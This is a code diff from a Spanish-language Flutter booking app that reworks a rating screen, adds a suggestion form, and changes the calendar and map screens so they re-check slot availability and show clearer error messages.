|
||||
style:
|
||||
TextStyle(fontSize: 14, color: _kPrimary, fontWeight: FontWeight.w500),
|
||||
),
|
||||
Padding(
|
||||
padding: const EdgeInsets.only(top: 8),
|
||||
child: Text(
|
||||
customMessage(_rating),
|
||||
style: const TextStyle(
|
||||
fontSize: 16,
|
||||
color: Color(0xFF2BA4EC),
|
||||
],
|
||||
),
|
||||
);
|
||||
}
|
||||
|
||||
Widget _commentSection(BuildContext context) {
|
||||
return Container(
|
||||
margin: const EdgeInsets.fromLTRB(16, 12, 16, 16),
|
||||
padding: const EdgeInsets.all(16),
|
||||
decoration: BoxDecoration(
|
||||
color: context.card,
|
||||
borderRadius: BorderRadius.circular(16),
|
||||
boxShadow: [BoxShadow(color: context.shadowSm, blurRadius: 8)],
|
||||
),
|
||||
),
|
||||
Padding(
|
||||
padding: const EdgeInsets.symmetric(
|
||||
horizontal: 40, vertical: 40),
|
||||
child: Column(
|
||||
crossAxisAlignment: CrossAxisAlignment.start,
|
||||
children: [
|
||||
const Text(
|
||||
'Comentario',
|
||||
Text('Comentario (opcional)',
|
||||
style: TextStyle(
|
||||
fontSize: 20, fontWeight: FontWeight.w600),
|
||||
),
|
||||
fontSize: 14,
|
||||
fontWeight: FontWeight.w600,
|
||||
color: context.onSurface)),
|
||||
const SizedBox(height: 10),
|
||||
TextFormField(
|
||||
maxLines: null,
|
||||
controller: _commentController,
|
||||
maxLines: 4,
|
||||
maxLength: 400,
|
||||
keyboardType: TextInputType.multiline,
|
||||
controller: commentController,
|
||||
decoration: InputDecoration(
|
||||
hintText: 'Cuéntanos tu experiencia...',
|
||||
hintStyle: TextStyle(color: context.muted, fontSize: 13),
|
||||
border: OutlineInputBorder(
|
||||
borderRadius: BorderRadius.circular(10),
|
||||
borderSide: BorderSide(color: Colors.grey.shade300),
|
||||
),
|
||||
],
|
||||
enabledBorder: OutlineInputBorder(
|
||||
borderRadius: BorderRadius.circular(10),
|
||||
borderSide: BorderSide(color: Colors.grey.shade300),
|
||||
),
|
||||
focusedBorder: OutlineInputBorder(
|
||||
borderRadius: BorderRadius.circular(10),
|
||||
borderSide: const BorderSide(color: _kPrimary, width: 2),
|
||||
),
|
||||
contentPadding: const EdgeInsets.all(12),
|
||||
),
|
||||
),
|
||||
],
|
||||
),
|
||||
),
|
||||
),
|
||||
const Divider(
|
||||
height: 1,
|
||||
thickness: 0.5,
|
||||
),
|
||||
BlocProvider<ServiceBloc>(
|
||||
create: (context) => Injector.appInstance.get<ServiceBloc>(),
|
||||
child: Padding(
|
||||
padding: const EdgeInsets.symmetric(
|
||||
vertical: 10,
|
||||
horizontal: 15,
|
||||
),
|
||||
child: BlocBuilder<ServiceBloc, ServiceState>(
|
||||
builder: (context, serviceState) {
|
||||
return FilledButton(
|
||||
onPressed: () {
|
||||
final CommentEntity comment = widget.service.userId ==
|
||||
ApiUserRepository.currentUserId ?? ''
|
||||
? CommentEntity(
|
||||
);
|
||||
}
|
||||
|
||||
Widget _sendButton(BuildContext context) {
|
||||
return SizedBox(
|
||||
width: double.infinity,
|
||||
child: ElevatedButton.icon(
|
||||
onPressed: _isSending
|
||||
? null
|
||||
: () {
|
||||
final comment = CommentEntity(
|
||||
serviceId: widget.service.id!,
|
||||
authorId:
|
||||
ApiUserRepository.currentUserId ?? '',
|
||||
isFromUser: true,
|
||||
authorId: ApiUserRepository.currentUserId ?? '',
|
||||
isFromUser: isUser,
|
||||
score: _rating,
|
||||
destinationId: widget.service.professionalId,
|
||||
content: commentController.text.trim(),
|
||||
createdAt: DateTime.now().toIso8601String(),
|
||||
)
|
||||
: CommentEntity(
|
||||
serviceId: widget.service.id!,
|
||||
authorId:
|
||||
ApiUserRepository.currentUserId ?? '',
|
||||
isFromUser: false,
|
||||
score: _rating,
|
||||
destinationId: widget.service.userId,
|
||||
content: commentController.text.trim(),
|
||||
destinationId: isUser
|
||||
? widget.service.professionalId
|
||||
: widget.service.userId,
|
||||
content: _commentController.text.trim(),
|
||||
createdAt: DateTime.now().toIso8601String(),
|
||||
);
|
||||
|
||||
// No pop here: closing the screen used to kill the BlocProvider
|
||||
// while the request was still in flight, so a failed rating looked
|
||||
// exactly like a saved one. The listener closes it on success.
|
||||
BlocProvider.of<ScoreBloc>(context)
|
||||
.add(SendScoreEvent(comment: comment));
|
||||
|
||||
if (widget.service.userId ==
|
||||
ApiUserRepository.currentUserId ?? '') {
|
||||
context.read<ServiceBloc>().add(
|
||||
UpdateProfessionalScored(widget.service.id!));
|
||||
} else {
|
||||
context
|
||||
.read<ServiceBloc>()
|
||||
.add(UpdateUserScored(widget.service.id!));
|
||||
}
|
||||
|
||||
Navigator.pop(context);
|
||||
},
|
||||
style: FilledButton.styleFrom(
|
||||
backgroundColor: Theme.of(context).colorScheme.primary,
|
||||
padding: const EdgeInsets.symmetric(vertical: 15),
|
||||
shape: RoundedRectangleBorder(
|
||||
borderRadius: BorderRadius.circular(10),
|
||||
),
|
||||
),
|
||||
child: Container(
|
||||
alignment: Alignment.center,
|
||||
width: double.infinity,
|
||||
child: const Text(
|
||||
'Enviar calificación',
|
||||
style: TextStyle(
|
||||
color: Colors.white,
|
||||
fontSize: 18,
|
||||
),
|
||||
),
|
||||
),
|
||||
);
|
||||
},
|
||||
),
|
||||
),
|
||||
),
|
||||
],
|
||||
icon: const Icon(Icons.send_rounded, size: 18),
|
||||
label: const Text('Enviar calificación',
|
||||
style: TextStyle(fontSize: 16, fontWeight: FontWeight.w600)),
|
||||
style: ElevatedButton.styleFrom(
|
||||
backgroundColor: _kPrimary,
|
||||
foregroundColor: Colors.white,
|
||||
elevation: 0,
|
||||
padding: const EdgeInsets.symmetric(vertical: 14),
|
||||
shape:
|
||||
RoundedRectangleBorder(borderRadius: BorderRadius.circular(12)),
|
||||
),
|
||||
),
|
||||
);
|
||||
}
|
||||
|
||||
String customMessage(double rating) {
|
||||
if (rating > 4.0) {
|
||||
return '¡Excelente! 👏🌟';
|
||||
String _ratingMessage(double rating) {
|
||||
if (rating > 4.0) return '¡Excelente!';
|
||||
if (rating < 2.0) return 'Necesita mejorar';
|
||||
if (rating >= 3.0) return '¡Bien!';
|
||||
return 'Regular';
|
||||
}
|
||||
|
||||
if (rating < 2.0) {
|
||||
return '¡Malo! 😔❌';
|
||||
}
|
||||
|
||||
if (rating <= 4.0 && rating >= 3.0) {
|
||||
return '¡Bueno! 👍😊';
|
||||
}
|
||||
|
||||
if (rating < 3.0 && rating >= 2.0) {
|
||||
return '¡Regular! 😐🔄';
|
||||
}
|
||||
|
||||
return '';
|
||||
}
|
||||
|
||||
Future<List<dynamic>> _getUserAndProfessionalInfo(
|
||||
ServiceEntity service) async {
|
||||
Future<List<dynamic>> _getUserInfo(ServiceEntity service) async {
|
||||
final userRepo = Injector.appInstance.get<UserRepository>();
|
||||
|
||||
final MyUser? userInfo;
|
||||
|
||||
if (ApiUserRepository.currentUserId ?? '' == service.userId) {
|
||||
userInfo = await userRepo.getMyUser(service.professionalId);
|
||||
} else {
|
||||
userInfo = await userRepo.getMyUser(service.userId);
|
||||
}
|
||||
|
||||
final currentId = ApiUserRepository.currentUserId ?? '';
|
||||
final targetId =
|
||||
currentId == service.userId ? service.professionalId : service.userId;
|
||||
final userInfo = await userRepo.getMyUser(targetId);
|
||||
return [userInfo];
|
||||
}
|
||||
}
|
||||
|
||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,133 @@
|
||||
import 'package:flutter/material.dart';
|
||||
import 'package:flutter_bloc/flutter_bloc.dart';
|
||||
import 'package:injector/injector.dart';
|
||||
import 'package:prosappco/blocs/suggestion_bloc/suggestion_bloc.dart';
|
||||
|
||||
const _kPrimary = Color(0xFF1565C0);
|
||||
|
||||
class SuggestionScreen extends StatefulWidget {
|
||||
const SuggestionScreen({super.key});
|
||||
|
||||
@override
|
||||
State<SuggestionScreen> createState() => _SuggestionScreenState();
|
||||
}
|
||||
|
||||
class _SuggestionScreenState extends State<SuggestionScreen> {
|
||||
final _formKey = GlobalKey<FormState>();
|
||||
final _messageController = TextEditingController();
|
||||
bool _isLoading = false;
|
||||
|
||||
@override
|
||||
void dispose() {
|
||||
_messageController.dispose();
|
||||
super.dispose();
|
||||
}
|
||||
|
||||
@override
|
||||
Widget build(BuildContext context) {
|
||||
return BlocProvider<SuggestionBloc>(
|
||||
create: (_) => Injector.appInstance.get<SuggestionBloc>(),
|
||||
child: BlocListener<SuggestionBloc, SuggestionState>(
|
||||
listener: (context, state) {
|
||||
if (state is SuggestionLoading) {
|
||||
setState(() => _isLoading = true);
|
||||
} else if (state is SuggestionSuccess) {
|
||||
setState(() => _isLoading = false);
|
||||
ScaffoldMessenger.of(context).showSnackBar(
|
||||
const SnackBar(content: Text('¡Gracias por tu sugerencia!')),
|
||||
);
|
||||
Navigator.of(context).pop();
|
||||
} else if (state is SuggestionFailure) {
|
||||
setState(() => _isLoading = false);
|
||||
ScaffoldMessenger.of(context).showSnackBar(
|
||||
const SnackBar(
|
||||
content: Text('No se pudo enviar la sugerencia'),
|
||||
),
|
||||
);
|
||||
}
|
||||
},
|
||||
child: Scaffold(
|
||||
appBar: AppBar(title: const Text('Sugerencias')),
|
||||
body: Padding(
|
||||
padding: const EdgeInsets.all(16),
|
||||
child: Form(
|
||||
key: _formKey,
|
||||
child: Column(
|
||||
crossAxisAlignment: CrossAxisAlignment.start,
|
||||
children: [
|
||||
const Text(
|
||||
'¿Tienes una idea o algo que podamos mejorar? '
|
||||
'Cuéntanos.',
|
||||
style: TextStyle(fontSize: 14, color: Colors.grey),
|
||||
),
|
||||
const SizedBox(height: 16),
|
||||
TextFormField(
|
||||
controller: _messageController,
|
||||
minLines: 5,
|
||||
maxLines: 8,
|
||||
maxLength: 1000,
|
||||
decoration: InputDecoration(
|
||||
hintText: 'Escribe tu sugerencia aquí...',
|
||||
alignLabelWithHint: true,
|
||||
border: OutlineInputBorder(
|
||||
borderRadius: BorderRadius.circular(12),
|
||||
),
|
||||
enabledBorder: OutlineInputBorder(
|
||||
borderRadius: BorderRadius.circular(12),
|
||||
borderSide: BorderSide(color: Colors.grey.shade300),
|
||||
),
|
||||
focusedBorder: OutlineInputBorder(
|
||||
borderRadius: BorderRadius.circular(12),
|
||||
borderSide:
|
||||
const BorderSide(color: _kPrimary, width: 2),
|
||||
),
|
||||
),
|
||||
validator: (v) => (v == null || v.trim().isEmpty)
|
||||
? 'Escribe un mensaje'
|
||||
: null,
|
||||
),
|
||||
const SizedBox(height: 24),
|
||||
SizedBox(
|
||||
width: double.infinity,
|
||||
child: ElevatedButton(
|
||||
style: ElevatedButton.styleFrom(
|
||||
backgroundColor: _kPrimary,
|
||||
foregroundColor: Colors.white,
|
||||
padding: const EdgeInsets.symmetric(vertical: 14),
|
||||
shape: RoundedRectangleBorder(
|
||||
borderRadius: BorderRadius.circular(12),
|
||||
),
|
||||
),
|
||||
onPressed: _isLoading
|
||||
? null
|
||||
: () {
|
||||
if (_formKey.currentState?.validate() != true) {
|
||||
return;
|
||||
}
|
||||
context.read<SuggestionBloc>().add(
|
||||
SubmitSuggestion(
|
||||
message: _messageController.text.trim(),
|
||||
),
|
||||
);
|
||||
},
|
||||
child: _isLoading
|
||||
? const SizedBox(
|
||||
height: 20,
|
||||
width: 20,
|
||||
child: CircularProgressIndicator(
|
||||
strokeWidth: 2,
|
||||
color: Colors.white,
|
||||
),
|
||||
)
|
||||
: const Text('Enviar'),
|
||||
),
|
||||
),
|
||||
],
|
||||
),
|
||||
),
|
||||
),
|
||||
),
|
||||
),
|
||||
);
|
||||
}
|
||||
}
|
||||
@@ -4,8 +4,8 @@ import 'package:injector/injector.dart';
|
||||
import 'package:intl/intl.dart';
|
||||
import 'package:professional_repository/professional_repository.dart';
|
||||
import 'package:prosappco/blocs/professional_list_bloc/professional_list_bloc.dart';
|
||||
import 'package:prosappco/utils/time_of_day_extension.dart';
|
||||
import 'package:prosappco/utils/time_of_day_utils.dart';
|
||||
import 'package:prosappco/utils/service_day.dart';
|
||||
import 'package:prosappco/utils/slot_generator.dart';
|
||||
import 'package:service_repository/service_repository.dart';
|
||||
import 'package:setting_repository/setting_repository.dart';
|
||||
import 'package:table_calendar/table_calendar.dart';
|
||||
@@ -30,6 +30,8 @@ class UserCalendarScreenState extends State<UserCalendarScreen> {
|
||||
late int numDay;
|
||||
|
||||
List<ServiceEntity>? _services;
|
||||
Schedules? _schedules;
|
||||
bool _loadFailed = false;
|
||||
|
||||
CalendarFormat _calendarFormat = CalendarFormat.month;
|
||||
|
||||
@@ -45,21 +47,32 @@ class UserCalendarScreenState extends State<UserCalendarScreen> {
|
||||
}
|
||||
|
||||
void _loadSettings() {
|
||||
settingRepository.getSettings().then(
|
||||
(value) => setState(() {
|
||||
settings = value;
|
||||
}),
|
||||
);
|
||||
settingRepository.getSettings().then((value) {
|
||||
if (!mounted) return;
|
||||
setState(() => settings = value);
|
||||
}).catchError((_) {
|
||||
// Settings only gate optional features; failing to read them must not
|
||||
// break the screen, but it must not setState after dispose either.
|
||||
});
|
||||
}
|
||||
|
||||
void _loadServices() {
|
||||
setState(() => _loadFailed = false);
|
||||
// Public calendar of *this* professional. The old call returned the
|
||||
// caller's own agenda, so every slot looked free.
|
||||
serviceRepository
|
||||
.getServicesForProfessionalforCalendar(
|
||||
widget.userProfessional.myUser.id)
|
||||
.then((services) {
|
||||
.getPublicCalendar(widget.userProfessional.professionalInfo.recordId)
|
||||
.then((calendar) {
|
||||
if (!mounted) return;
|
||||
setState(() {
|
||||
_services = services;
|
||||
_services = calendar.services;
|
||||
// Opening hours as the professional has them today, not the copy the
|
||||
// search list handed over, which can be days old.
|
||||
_schedules = calendar.schedules;
|
||||
});
|
||||
}).catchError((e) {
|
||||
if (!mounted) return;
|
||||
setState(() => _loadFailed = true);
|
||||
});
|
||||
}
|
||||
|
||||
@@ -142,27 +155,74 @@ class UserCalendarScreenState extends State<UserCalendarScreen> {
|
||||
}
|
||||
|
||||
ScheduleEntity? _getScheduleFromNumDay(int numDay) {
|
||||
// Prefer the hours the calendar endpoint just returned; fall back to the
|
||||
// snapshot carried by the search list only until it arrives.
|
||||
final schedules =
|
||||
_schedules ?? widget.userProfessional.professionalInfo.schedules;
|
||||
switch (numDay) {
|
||||
case 1:
|
||||
return widget.userProfessional.professionalInfo.schedules.monday;
|
||||
return schedules.monday;
|
||||
case 2:
|
||||
return widget.userProfessional.professionalInfo.schedules.tuesday;
|
||||
return schedules.tuesday;
|
||||
case 3:
|
||||
return widget.userProfessional.professionalInfo.schedules.wednesday;
|
||||
return schedules.wednesday;
|
||||
case 4:
|
||||
return widget.userProfessional.professionalInfo.schedules.thursday;
|
||||
return schedules.thursday;
|
||||
case 5:
|
||||
return widget.userProfessional.professionalInfo.schedules.friday;
|
||||
return schedules.friday;
|
||||
case 6:
|
||||
return widget.userProfessional.professionalInfo.schedules.saturday;
|
||||
return schedules.saturday;
|
||||
case 7:
|
||||
return widget.userProfessional.professionalInfo.schedules.sunday;
|
||||
return schedules.sunday;
|
||||
default:
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
List<Widget> _rangesItems(ScheduleEntity? schedule) {
|
||||
if (_services == null && !_loadFailed) {
|
||||
// Treating "unknown" as busy is the safe default, but without this the
|
||||
// patient saw every hour in red and concluded the professional was full.
|
||||
return [
|
||||
const Padding(
|
||||
padding: EdgeInsets.symmetric(vertical: 40),
|
||||
child: Center(
|
||||
child: Column(children: [
|
||||
CircularProgressIndicator(),
|
||||
SizedBox(height: 12),
|
||||
Text('Consultando disponibilidad…',
|
||||
style: TextStyle(fontSize: 13, color: Colors.grey)),
|
||||
]),
|
||||
),
|
||||
),
|
||||
];
|
||||
}
|
||||
if (_loadFailed) {
|
||||
// Slots are hidden rather than shown as free: booking blind is how you
|
||||
// end up with two people in the same hour.
|
||||
return [
|
||||
Padding(
|
||||
padding: const EdgeInsets.symmetric(vertical: 24, horizontal: 16),
|
||||
child: Column(
|
||||
children: [
|
||||
const Icon(Icons.wifi_off_outlined, size: 32, color: Colors.grey),
|
||||
const SizedBox(height: 10),
|
||||
const Text('No se pudo cargar la disponibilidad',
|
||||
textAlign: TextAlign.center,
|
||||
style: TextStyle(fontWeight: FontWeight.w600)),
|
||||
const SizedBox(height: 4),
|
||||
const Text(
|
||||
'No mostramos horarios para evitar que reserves sobre una cita ya agendada.',
|
||||
textAlign: TextAlign.center,
|
||||
style: TextStyle(fontSize: 13, color: Colors.grey)),
|
||||
const SizedBox(height: 12),
|
||||
OutlinedButton(
|
||||
onPressed: _loadServices, child: const Text('Reintentar')),
|
||||
],
|
||||
),
|
||||
),
|
||||
];
|
||||
}
|
||||
if (schedule == null) {
|
||||
return [
|
||||
const Padding(
|
||||
@@ -180,10 +240,15 @@ class UserCalendarScreenState extends State<UserCalendarScreen> {
|
||||
];
|
||||
}
|
||||
|
||||
if (schedule.continuousDay) {
|
||||
if (schedule.range1Hour1 == null ||
|
||||
schedule.range2Hour2 == null ||
|
||||
schedule.range1Hour1!.compareTo(schedule.range2Hour2!) >= 0) {
|
||||
// One generator for both calendars: what the professional counts as free
|
||||
// in his agenda is exactly what shows up here.
|
||||
final ranges = SlotGenerator.forDay(
|
||||
schedule: schedule,
|
||||
day: today,
|
||||
slotDurationMinutes:
|
||||
widget.userProfessional.professionalInfo.slotDurationMinutes,
|
||||
);
|
||||
if (ranges.isEmpty) {
|
||||
return [
|
||||
const Padding(
|
||||
padding: EdgeInsets.symmetric(vertical: 20),
|
||||
@@ -191,53 +256,21 @@ class UserCalendarScreenState extends State<UserCalendarScreen> {
|
||||
)
|
||||
];
|
||||
}
|
||||
|
||||
List<TimeOfDay> ranges = TimeOfDayUtils.genRanges(
|
||||
schedule.range1Hour1!,
|
||||
schedule.range2Hour2!,
|
||||
);
|
||||
|
||||
return rangesItemList(ranges, _services, today);
|
||||
} else {
|
||||
if (schedule.range1Hour1 == null ||
|
||||
schedule.range1Hour2 == null ||
|
||||
schedule.range2Hour1 == null ||
|
||||
schedule.range2Hour2 == null ||
|
||||
schedule.range1Hour1!.compareTo(schedule.range1Hour2!) >= 0 ||
|
||||
schedule.range2Hour1!.compareTo(schedule.range2Hour2!) >= 0) {
|
||||
return [
|
||||
const Padding(
|
||||
padding: EdgeInsets.symmetric(vertical: 20),
|
||||
child: Text("No hay horarios disponibles"),
|
||||
)
|
||||
];
|
||||
}
|
||||
List<TimeOfDay> ranges1 = TimeOfDayUtils.genRanges(
|
||||
schedule.range1Hour1!,
|
||||
schedule.range1Hour2!,
|
||||
);
|
||||
List<TimeOfDay> ranges2 = TimeOfDayUtils.genRanges(
|
||||
schedule.range2Hour1!,
|
||||
schedule.range2Hour2!,
|
||||
);
|
||||
|
||||
return [
|
||||
...rangesItemList(ranges1, _services, today),
|
||||
...rangesItemList(ranges2, _services, today),
|
||||
];
|
||||
}
|
||||
}
|
||||
|
||||
bool _isHora1Ocupada(
|
||||
TimeOfDay hora1, List<ServiceEntity>? events, DateTime selectedDay) {
|
||||
if (events != null) {
|
||||
for (ServiceEntity event in events) {
|
||||
if (selectedDay.toString() == event.day) {
|
||||
if (hora1 == event.range1Hour1) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
// Treat "could not load the agenda" as busy rather than free: showing a
|
||||
// taken slot as available leads straight to a double booking.
|
||||
if (events == null) return true;
|
||||
for (final event in events) {
|
||||
if (!isSameServiceDay(selectedDay, event.day)) continue;
|
||||
if (event.status == ServiceStatus.cancelled ||
|
||||
event.status == ServiceStatus.denied) {
|
||||
continue;
|
||||
}
|
||||
if (hora1 == event.range1Hour1) return true;
|
||||
}
|
||||
return false;
|
||||
}
|
||||
@@ -256,7 +289,7 @@ class UserCalendarScreenState extends State<UserCalendarScreen> {
|
||||
);
|
||||
|
||||
if (selectedDateTime
|
||||
.isBefore(currentDateTime.add(const Duration(hours: 3)))) {
|
||||
.isBefore(currentDateTime.add(kBookingLeadTime))) {
|
||||
return Card(
|
||||
elevation: 4,
|
||||
margin: const EdgeInsets.symmetric(vertical: 5, horizontal: 10),
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
import 'dart:async';
|
||||
import 'package:prosappco/utils/slot_generator.dart';
|
||||
import 'dart:developer';
|
||||
import 'dart:io';
|
||||
import 'package:flutter/cupertino.dart';
|
||||
@@ -19,9 +20,14 @@ import 'package:prosappco/blocs/service_bloc/service_bloc.dart';
|
||||
import 'package:prosappco/constansts.dart';
|
||||
import 'package:prosappco/local_notifications/local_notifications.dart';
|
||||
import 'package:prosappco/screens/lists/professional_list_screen.dart';
|
||||
import 'package:prosappco/screens/profile/profile_screen.dart';
|
||||
import 'package:prosappco/screens/user/user_service_screen.dart';
|
||||
import 'package:prosappco/utils/time_of_day_extension.dart';
|
||||
import 'package:prosappco/utils/nominatim_geocoder.dart';
|
||||
import 'package:prosappco/utils/service_day.dart';
|
||||
import 'package:prosappco/utils/service_day_param.dart';
|
||||
import 'package:prosappco/utils/version_utils.dart';
|
||||
import 'package:service_repository/service_repository.dart';
|
||||
import 'package:service_repository/service_repository.dart' as srv;
|
||||
import 'package:setting_repository/setting_repository.dart';
|
||||
import 'package:url_launcher/url_launcher.dart';
|
||||
|
||||
@@ -33,6 +39,7 @@ class UserMapScreen extends StatefulWidget {
|
||||
}
|
||||
|
||||
class _UserMapScreenState extends State<UserMapScreen> {
|
||||
final _serviceRepository = Injector.appInstance.get<ApiServiceRepository>();
|
||||
final Completer<GoogleMapController> _mapController =
|
||||
Completer<GoogleMapController>();
|
||||
LatLng? _currentP;
|
||||
@@ -42,7 +49,7 @@ class _UserMapScreenState extends State<UserMapScreen> {
|
||||
|
||||
final settingRepository = Injector.appInstance.get<SettingRepository>();
|
||||
SettingEntity? settings;
|
||||
late String appVersion;
|
||||
String appVersion = '';
|
||||
|
||||
final DateFormat formatter = DateFormat('dd/MM/yyyy');
|
||||
|
||||
@@ -125,7 +132,7 @@ class _UserMapScreenState extends State<UserMapScreen> {
|
||||
|
||||
void _checkForUpdate(SettingEntity settings) {
|
||||
if (Platform.isAndroid) {
|
||||
if (appVersion != settings.versionAndroid) {
|
||||
if (isUpdateRequired(appVersion, settings.versionAndroid)) {
|
||||
showDialog(
|
||||
context: context,
|
||||
builder: (context) {
|
||||
@@ -165,7 +172,7 @@ class _UserMapScreenState extends State<UserMapScreen> {
|
||||
}
|
||||
}
|
||||
if (Platform.isIOS) {
|
||||
if (appVersion != settings.versionIos) {
|
||||
if (isUpdateRequired(appVersion, settings.versionIos)) {
|
||||
showDialog(
|
||||
context: context,
|
||||
builder: (context) {
|
||||
@@ -206,6 +213,44 @@ class _UserMapScreenState extends State<UserMapScreen> {
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
/// "a, b y c" — join(' y ') read as "a y b y c".
|
||||
String _enumerar(List<String> items) {
|
||||
if (items.length <= 1) return items.join();
|
||||
return '${items.sublist(0, items.length - 1).join(', ')} y ${items.last}';
|
||||
}
|
||||
|
||||
/// Re-reads the professional's agenda right before creating the service.
|
||||
///
|
||||
/// Returns true when the slot is still free, or when the agenda cannot be
|
||||
/// read: blocking a booking because the network hiccuped would be worse
|
||||
/// than the rare collision the backend can still reject.
|
||||
Future<bool> _slotStillFree() async {
|
||||
final pro = profesionalSeleccionado;
|
||||
final day = fechaSeleccionada;
|
||||
final hour = horaSeleccionada;
|
||||
if (pro == null || day == null || hour == null) return false;
|
||||
try {
|
||||
final calendar = await _serviceRepository
|
||||
.getPublicCalendar(pro.professionalInfo.recordId);
|
||||
final taken = calendar.services.any((s) =>
|
||||
s.status != srv.ServiceStatus.cancelled &&
|
||||
s.status != srv.ServiceStatus.denied &&
|
||||
isSameServiceDay(day, s.day) &&
|
||||
s.range1Hour1 == hour);
|
||||
if (!taken) return true;
|
||||
if (!mounted) return false;
|
||||
ScaffoldMessenger.of(context).clearSnackBars();
|
||||
ScaffoldMessenger.of(context).showSnackBar(const SnackBar(
|
||||
content: Text('Ese horario acaba de ocuparse. Elige otro.'),
|
||||
));
|
||||
setState(() => horaSeleccionada = null);
|
||||
return false;
|
||||
} catch (_) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
|
||||
@override
|
||||
Widget build(BuildContext context) {
|
||||
return BlocProvider<ServiceBloc>(
|
||||
@@ -217,11 +262,34 @@ class _UserMapScreenState extends State<UserMapScreen> {
|
||||
}
|
||||
if (serviceState is CreateServiceFailure) {
|
||||
isLoading = false;
|
||||
ScaffoldMessenger.of(context).clearSnackBars();
|
||||
ScaffoldMessenger.of(context).showSnackBar(const SnackBar(
|
||||
content: Text(
|
||||
'No pudimos agendar tu cita. Revisa tu conexión e inténtalo otra vez.'),
|
||||
));
|
||||
}
|
||||
|
||||
if (serviceState is CreateServiceSuccess) {
|
||||
isLoading = false;
|
||||
|
||||
final token = profesionalSeleccionado?.myUser.token;
|
||||
if (token != null) {
|
||||
LocalNotifications.sendPushNotification(
|
||||
token,
|
||||
'Nuevo servicio',
|
||||
'Tienes una nueva solicitud de servicio pendiente',
|
||||
);
|
||||
}
|
||||
|
||||
fechaSeleccionada = null;
|
||||
horaSeleccionada = null;
|
||||
profesionalSeleccionado = null;
|
||||
isClearButtonVisible = false;
|
||||
_observationController.text = '';
|
||||
serviceLocationPreference = null;
|
||||
polylines.clear();
|
||||
markers.clear();
|
||||
|
||||
Navigator.push(
|
||||
context,
|
||||
CupertinoPageRoute(
|
||||
@@ -377,9 +445,16 @@ class _UserMapScreenState extends State<UserMapScreen> {
|
||||
state.user?.phone == null) {
|
||||
ScaffoldMessenger.of(context).clearSnackBars();
|
||||
ScaffoldMessenger.of(context).showSnackBar(
|
||||
const SnackBar(
|
||||
content: Text(
|
||||
'Por favor completa tu perfil y agrega tu celular'),
|
||||
SnackBar(
|
||||
content: const Text('Por favor completa tu perfil y agrega tu celular'),
|
||||
action: SnackBarAction(
|
||||
label: 'Ir al perfil',
|
||||
onPressed: () {
|
||||
Navigator.push(context, CupertinoPageRoute(
|
||||
builder: (context) => const ProfileScreen(),
|
||||
));
|
||||
},
|
||||
),
|
||||
),
|
||||
);
|
||||
return;
|
||||
@@ -514,8 +589,23 @@ class _UserMapScreenState extends State<UserMapScreen> {
|
||||
child: FilledButton(
|
||||
onPressed: isLoading
|
||||
? null
|
||||
: () {
|
||||
if (profesionalSeleccionado == null) return;
|
||||
: () async {
|
||||
// Used to `return` in silence when anything was
|
||||
// missing, so the main button simply did nothing.
|
||||
final faltan = <String>[
|
||||
if (profesionalSeleccionado == null)
|
||||
'un profesional',
|
||||
if (fechaSeleccionada == null) 'la fecha',
|
||||
if (horaSeleccionada == null) 'la hora',
|
||||
];
|
||||
if (faltan.isNotEmpty) {
|
||||
ScaffoldMessenger.of(context).clearSnackBars();
|
||||
ScaffoldMessenger.of(context).showSnackBar(SnackBar(
|
||||
content: Text(
|
||||
'Falta ${_enumerar(faltan)} para pedir la cita'),
|
||||
));
|
||||
return;
|
||||
}
|
||||
|
||||
if (state.user?.name == null ||
|
||||
state.user?.name == '' ||
|
||||
@@ -531,6 +621,12 @@ class _UserMapScreenState extends State<UserMapScreen> {
|
||||
return;
|
||||
}
|
||||
|
||||
// Minutes can pass between picking the hour and
|
||||
// confirming. Ask the agenda again so two patients
|
||||
// do not walk away holding the same slot.
|
||||
if (!await _slotStillFree()) return;
|
||||
if (!context.mounted) return;
|
||||
|
||||
if (serviceLocationPreference ==
|
||||
ServiceLocationPreferences.office) {
|
||||
if (settings?.tarifas == true) {
|
||||
@@ -547,12 +643,15 @@ class _UserMapScreenState extends State<UserMapScreen> {
|
||||
.professionalInfo.latitude,
|
||||
longitude: profesionalSeleccionado!
|
||||
.professionalInfo.longitude,
|
||||
day: fechaSeleccionada.toString(),
|
||||
day: serviceDayParam(fechaSeleccionada!),
|
||||
createdAt: DateTime.now().toIso8601String(),
|
||||
description: _observationController.text,
|
||||
range1Hour1: horaSeleccionada!,
|
||||
range1Hour2:
|
||||
horaSeleccionada!.add(hour: 2),
|
||||
range1Hour2: SlotGenerator.endOf(
|
||||
horaSeleccionada!,
|
||||
profesionalSeleccionado!
|
||||
.professionalInfo
|
||||
.slotDurationMinutes),
|
||||
rate: profesionalSeleccionado!
|
||||
.professionalInfo.rate,
|
||||
location: serviceLocationPreference!,
|
||||
@@ -572,12 +671,15 @@ class _UserMapScreenState extends State<UserMapScreen> {
|
||||
.professionalInfo.latitude,
|
||||
longitude: profesionalSeleccionado!
|
||||
.professionalInfo.longitude,
|
||||
day: fechaSeleccionada.toString(),
|
||||
day: serviceDayParam(fechaSeleccionada!),
|
||||
createdAt: DateTime.now().toIso8601String(),
|
||||
description: _observationController.text,
|
||||
range1Hour1: horaSeleccionada!,
|
||||
range1Hour2:
|
||||
horaSeleccionada!.add(hour: 2),
|
||||
range1Hour2: SlotGenerator.endOf(
|
||||
horaSeleccionada!,
|
||||
profesionalSeleccionado!
|
||||
.professionalInfo
|
||||
.slotDurationMinutes),
|
||||
rate: '0',
|
||||
location: serviceLocationPreference!,
|
||||
),
|
||||
@@ -595,12 +697,15 @@ class _UserMapScreenState extends State<UserMapScreen> {
|
||||
aditionalAddress: '',
|
||||
latitude: 0,
|
||||
longitude: 0,
|
||||
day: fechaSeleccionada.toString(),
|
||||
day: serviceDayParam(fechaSeleccionada!),
|
||||
createdAt: DateTime.now().toIso8601String(),
|
||||
description: _observationController.text,
|
||||
range1Hour1: horaSeleccionada!,
|
||||
range1Hour2:
|
||||
horaSeleccionada!.add(hour: 2),
|
||||
range1Hour2: SlotGenerator.endOf(
|
||||
horaSeleccionada!,
|
||||
profesionalSeleccionado!
|
||||
.professionalInfo
|
||||
.slotDurationMinutes),
|
||||
rate: profesionalSeleccionado!
|
||||
.professionalInfo.rate,
|
||||
